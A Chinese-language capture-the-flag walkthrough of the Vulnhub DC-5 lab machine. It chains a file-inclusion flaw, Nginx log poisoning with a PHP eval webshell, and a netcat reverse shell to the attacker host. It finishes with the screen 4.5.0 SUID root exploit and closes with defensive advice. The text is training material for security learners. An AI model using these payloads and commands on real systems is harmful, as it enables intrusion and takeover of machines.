Vulnhub--DC-5
字数 1253 2025-08-11 21:26:29

Vulnhub DC-5 渗透测试实战教学文档

一、靶机环境部署

  1. 下载靶机

    • 下载地址:https://download.vulnhub.com/dc/DC-5.zip
    • 下载后解压缩,得到.ova格式的虚拟机文件
  2. 导入虚拟机

    • 使用VMware或VirtualBox导入.ova文件
    • 导入过程中可能出现警告,选择"重试"继续
  3. 网络配置

    • 建议使用NAT模式
    • 确保攻击机和靶机在同一网络段

二、信息收集阶段

  1. 发现靶机IP

    arp-scan -l
    
    • 识别靶机IP(示例中为192.168.237.149)
  2. 端口扫描

    nmap -A -T4 -p- 192.168.237.149
    
    • 发现开放端口:
      • 80端口:Web服务
      • 111端口:RPC服务
      • 60046端口:未知服务
  3. Web目录扫描

    dirb http://192.168.237.149/
    
    • 初始扫描可能无显著发现

三、漏洞发现与利用

1. 文件包含漏洞发现

  1. Web功能测试

    • 访问http://192.168.237.149/
    • 重点测试"Contact"功能
    • 提交留言后观察页面变化
  2. 源代码分析

    • 发现thankyou.php页面包含footer.php
    • 每次刷新thankyou.php,footer.php内容会变化
  3. 参数爆破

    • 使用Burp Suite等工具爆破参数
    • 发现file参数存在文件包含漏洞
  4. 验证文件包含

    http://192.168.237.149/thankyou.php?file=/etc/passwd
    
    • 成功读取系统文件验证漏洞存在

2. 利用文件包含获取WebShell

  1. 识别中间件

    • 使用Wappalyzer识别Nginx 1.6.2
  2. 日志文件包含

    • Nginx访问日志路径:/var/log/nginx/access.log
    • 构造恶意请求:
      firstname=<?php @eval($_POST['HK']); ?>
      
    • 访问日志文件:
      http://192.168.237.149/thankyou.php?file=/var/log/nginx/access.log
      
  3. 连接WebShell

    • 使用蚁剑等工具连接
    • 地址:http://192.168.237.149/thankyou.php?file=/var/log/nginx/access.log
    • 密码:HK

四、权限提升

1. 初始访问

  1. 反弹Shell

    • 攻击机监听:
      nc -lvvp 4444
      
    • 通过蚁剑执行:
      nc 192.168.237.148 4444 -e /bin/bash
      
  2. 交互式Shell

    python -c "import pty;pty.spawn('/bin/bash')"
    

2. 提权准备

  1. 查找SUID文件

    find / -user root -perm -4000 -print 2>/dev/null
    
    • 发现可疑程序:screen-4.5.0
  2. 搜索漏洞利用

    searchsploit screen 4.5.0
    
    • 发现漏洞利用脚本:41154.sh

3. 提权实施

  1. 准备漏洞利用文件

    • 从Kali中提取41154.sh内容
    • 分割为三个文件:
      • libhax.c
      • rootshell.c
      • a.sh
  2. 编译利用代码

    gcc -fPIC -shared -ldl -o libhax.so libhax.c
    gcc -o rootshell rootshell.c
    
  3. 上传文件

    • 使用蚁剑上传到靶机/tmp目录
    • 文件:
      • libhax.so
      • rootshell
      • a.sh
  4. 执行提权

    cd /tmp
    chmod +x a.sh
    ./a.sh
    
    • 成功获取root权限

五、获取Flag

  1. 定位flag文件

    cd /root
    ls
    
  2. 查看flag内容

    cat flag.txt
    

六、技术总结

  1. 涉及漏洞

    • 文件包含漏洞(LFI)
    • Screen 4.5.0 SUID提权漏洞
  2. 关键技术点

    • 通过日志文件注入PHP代码
    • 利用文件包含执行日志中的恶意代码
    • 通过SUID程序进行权限提升
  3. 防御建议

    • 限制文件包含参数的可访问路径
    • 及时更新存在漏洞的软件版本
    • 合理设置文件权限,避免不必要的SUID程序
  4. 学习要点

    • 信息收集的全面性
    • 漏洞利用的链式思维
    • 权限提升的多途径尝试
Vulnhub DC-5 渗透测试实战教学文档 一、靶机环境部署 下载靶机 : 下载地址:https://download.vulnhub.com/dc/DC-5.zip 下载后解压缩,得到.ova格式的虚拟机文件 导入虚拟机 : 使用VMware或VirtualBox导入.ova文件 导入过程中可能出现警告,选择"重试"继续 网络配置 : 建议使用NAT模式 确保攻击机和靶机在同一网络段 二、信息收集阶段 发现靶机IP : 识别靶机IP(示例中为192.168.237.149) 端口扫描 : 发现开放端口: 80端口:Web服务 111端口:RPC服务 60046端口:未知服务 Web目录扫描 : 初始扫描可能无显著发现 三、漏洞发现与利用 1. 文件包含漏洞发现 Web功能测试 : 访问http://192.168.237.149/ 重点测试"Contact"功能 提交留言后观察页面变化 源代码分析 : 发现thankyou.php页面包含footer.php 每次刷新thankyou.php,footer.php内容会变化 参数爆破 : 使用Burp Suite等工具爆破参数 发现file参数存在文件包含漏洞 验证文件包含 : 成功读取系统文件验证漏洞存在 2. 利用文件包含获取WebShell 识别中间件 : 使用Wappalyzer识别Nginx 1.6.2 日志文件包含 : Nginx访问日志路径:/var/log/nginx/access.log 构造恶意请求: 访问日志文件: 连接WebShell : 使用蚁剑等工具连接 地址:http://192.168.237.149/thankyou.php?file=/var/log/nginx/access.log 密码:HK 四、权限提升 1. 初始访问 反弹Shell : 攻击机监听: 通过蚁剑执行: 交互式Shell : 2. 提权准备 查找SUID文件 : 发现可疑程序:screen-4.5.0 搜索漏洞利用 : 发现漏洞利用脚本:41154.sh 3. 提权实施 准备漏洞利用文件 : 从Kali中提取41154.sh内容 分割为三个文件: libhax.c rootshell.c a.sh 编译利用代码 : 上传文件 : 使用蚁剑上传到靶机/tmp目录 文件: libhax.so rootshell a.sh 执行提权 : 成功获取root权限 五、获取Flag 定位flag文件 : 查看flag内容 : 六、技术总结 涉及漏洞 : 文件包含漏洞(LFI) Screen 4.5.0 SUID提权漏洞 关键技术点 : 通过日志文件注入PHP代码 利用文件包含执行日志中的恶意代码 通过SUID程序进行权限提升 防御建议 : 限制文件包含参数的可访问路径 及时更新存在漏洞的软件版本 合理设置文件权限,避免不必要的SUID程序 学习要点 : 信息收集的全面性 漏洞利用的链式思维 权限提升的多途径尝试